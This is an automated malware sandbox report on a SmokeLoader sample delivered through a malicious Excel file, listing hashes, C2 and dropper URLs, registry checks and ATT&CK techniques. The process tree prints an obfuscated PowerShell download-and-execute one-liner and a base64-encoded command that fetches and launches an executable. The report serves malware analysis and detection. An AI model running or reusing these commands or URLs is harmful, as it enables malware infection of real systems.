smokeloader | 2b229f4b16f55ffe0b5e19e4bcd4249f6171c5d585c3cdff2a937152b744e01e

General

Target

ef76b566f621921a14be41f18a89d5b97bc3878cb5b1f1d81d668651d6126fb5.xls
Size

96KB
MD5

41174d7db173c0fc4e2426f49e66dd78
SHA1

4685a3c3226371580957b3a10b5af5d5f356e798
SHA256

ef76b566f621921a14be41f18a89d5b97bc3878cb5b1f1d81d668651d6126fb5
SHA512

9a60e2d72d3d610a08fed66fcbcf201c77ae20c852f36cd5c13c4284a7fcbacbf481da7378777fe71157d774b1a854e07c69448d3815942def8406e11915a46b

Score

10^/10

smokeloader backdoor trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://paste.ee/r/Plkrg

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://u.teknik.io/ubU1Y.txt

Extracted

Family

smokeloader

Version

2018

C2

http://cfsmarthome.net/1/

rc4.i32

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1532	504	powershell.exe	EXCEL.EXE

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Blocklisted process makes network request 3 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

24 1532 powershell.exe
25 1532 powershell.exe
28 3760 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

rIFwqc.exe

pid process

3796 rIFwqc.exe

flow	pid	process
24	1532	powershell.exe
25	1532	powershell.exe
28	3760	powershell.exe

pid	process
3796	rIFwqc.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rIFwqc.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	rIFwqc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	rIFwqc.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

504 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

1532 powershell.exe
1532 powershell.exe
1532 powershell.exe
3760 powershell.exe
3760 powershell.exe
3760 powershell.exe
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

rIFwqc.exe

pid process

3796 rIFwqc.exe
3796 rIFwqc.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1532 powershell.exe
Token: SeDebugPrivilege 3760 powershell.exe

pid	process
1532	powershell.exe
1532	powershell.exe
1532	powershell.exe
3760	powershell.exe
3760	powershell.exe
3760	powershell.exe

pid	process
3796	rIFwqc.exe
3796	rIFwqc.exe

description	pid	process
Token: SeDebugPrivilege	1532	powershell.exe
Token: SeDebugPrivilege	3760	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
504	EXCEL.EXE
504	EXCEL.EXE
504	EXCEL.EXE
504	EXCEL.EXE
504	EXCEL.EXE
504	EXCEL.EXE
504	EXCEL.EXE
504	EXCEL.EXE
504	EXCEL.EXE
504	EXCEL.EXE
504	EXCEL.EXE
504	EXCEL.EXE
504	EXCEL.EXE
504	EXCEL.EXE

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

EXCEL.EXEpowershell.exepowershell.exe

description	pid	process	target process
PID 504 wrote to memory of 1532	504	EXCEL.EXE	powershell.exe
PID 504 wrote to memory of 1532	504	EXCEL.EXE	powershell.exe
PID 1532 wrote to memory of 3760	1532	powershell.exe	powershell.exe
PID 1532 wrote to memory of 3760	1532	powershell.exe	powershell.exe
PID 3760 wrote to memory of 3796	3760	powershell.exe	rIFwqc.exe
PID 3760 wrote to memory of 3796	3760	powershell.exe	rIFwqc.exe
PID 3760 wrote to memory of 3796	3760	powershell.exe	rIFwqc.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ef76b566f621921a14be41f18a89d5b97bc3878cb5b1f1d81d668651d6126fb5.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:504

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command IEX (new`-OB`jeCT('Net.WebClient')).'DoWnloAdsTrInG'('ht'+'tp://paste.ee/r/Plkrg')
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1532

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -w 1 /e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwAHMAOgAvAC8AdQAuAHQAZQBrAG4AaQBrAC4AaQBvAC8AdQBiAFUAMQBZAC4AdAB4AHQAHSAgACwAIAAdICQARQBOAHYAOgB0AGUAbQBwAFwAcgBJAEYAdwBxAGMALgBlAHgAZQAdICAAKQAgADsAIABzAHQAQQBSAHQAIAAdICQARQBOAHYAOgB0AGUAbQBwAFwAcgBJAEYAdwBxAGMALgBlAHgAZQAdIA==
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3760

C:\Users\Admin\AppData\Local\Temp\rIFwqc.exe
"C:\Users\Admin\AppData\Local\Temp\rIFwqc.exe"
4⤵
- Executes dropped EXE
- Maps connected drives based on registry
- Suspicious behavior: MapViewOfSection
PID:3796

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

3

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
4180fc1109043ba70ff0e5ff26a9e1f8

SHA1
799702b71147d7a5e8f1b71714a2b859909767d2

SHA256
e1e2f4279d95c9f895c364e055769f17a9aefbb12e34cdebbefb9d345adc4836

SHA512
fb74451d2dc999cf2db3e458ba98c272125a086c3b9561400a182221d1678485f4a8a41521ccf954706772c6f68fcbf41774aa446ff66044da42477bfc284364

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
dd080d0031fa5d5560875459380182ae

SHA1
150a062bbdcdc1b80875c674de69a3f4df3bf3a3

SHA256
a891bbf45f33a7b997e678c0f8e452c0065dea8d020f5fe618660d53ee1ab156

SHA512
65e0adfc06c2853bc571e99d66c88e5e3ead9b1f169003f488e458f29e9b17e10518d34e0785755731703546b7896795aca05e03431894e4ac535852575e699b

Download Submit
C:\Users\Admin\AppData\Local\Temp\rIFwqc.exe
MD5
9ac835c38d4d0c6466e641427a2cf8f1

SHA1
108a8b5f1eaf9ef078a3dc0210e6aa961d6b3787

SHA256
b6ec96043dba7722cac4ed24b6979fc71a758bdf18ca44353c19194c172bf621

SHA512
226480dc7c6d7f3eee39365e59cc317f203da475beb85d599fee3ae02d64306869eda37ee22076100b240904a2c15b53249efd0020deb6526639d49d4e236cc8

Download Submit
C:\Users\Admin\AppData\Local\Temp\rIFwqc.exe
MD5
9ac835c38d4d0c6466e641427a2cf8f1

SHA1
108a8b5f1eaf9ef078a3dc0210e6aa961d6b3787

SHA256
b6ec96043dba7722cac4ed24b6979fc71a758bdf18ca44353c19194c172bf621

SHA512
226480dc7c6d7f3eee39365e59cc317f203da475beb85d599fee3ae02d64306869eda37ee22076100b240904a2c15b53249efd0020deb6526639d49d4e236cc8

Download Submit
memory/504-3-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmp

Filesize
64KB

Download
memory/504-4-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmp

Filesize
64KB

Download
memory/504-5-0x00007FF803090000-0x00007FF8036C7000-memory.dmp

Filesize
6.2MB

Download
memory/504-6-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmp

Filesize
64KB

Download
memory/504-2-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmp

Filesize
64KB

Download
memory/1532-8-0x00007FFFFD3F0000-0x00007FFFFDDDC000-memory.dmp

Filesize
9.9MB

Download
memory/1532-11-0x0000024598780000-0x0000024598782000-memory.dmp

Filesize
8KB

Download
memory/1532-13-0x0000024598786000-0x0000024598788000-memory.dmp

Filesize
8KB

Download
memory/1532-12-0x0000024598783000-0x0000024598785000-memory.dmp

Filesize
8KB

Download
memory/1532-7-0x0000000000000000-mapping.dmp

Download
memory/1532-9-0x0000024598790000-0x0000024598791000-memory.dmp

Filesize
4KB

Download
memory/1532-10-0x0000024598940000-0x0000024598941000-memory.dmp

Filesize
4KB

Download
memory/2876-27-0x0000000000B70000-0x0000000000B85000-memory.dmp

Filesize
84KB

Download
memory/2876-26-0x0000000000B30000-0x0000000000B31000-memory.dmp

Filesize
4KB

Download
memory/3760-15-0x00007FFFFD3F0000-0x00007FFFFDDDC000-memory.dmp

Filesize
9.9MB

Download
memory/3760-20-0x00000212B4226000-0x00000212B4228000-memory.dmp

Filesize
8KB

Download
memory/3760-19-0x00000212B4223000-0x00000212B4225000-memory.dmp

Filesize
8KB

Download
memory/3760-18-0x00000212B4220000-0x00000212B4222000-memory.dmp

Filesize
8KB

Download
memory/3760-14-0x0000000000000000-mapping.dmp

Download
memory/3796-21-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads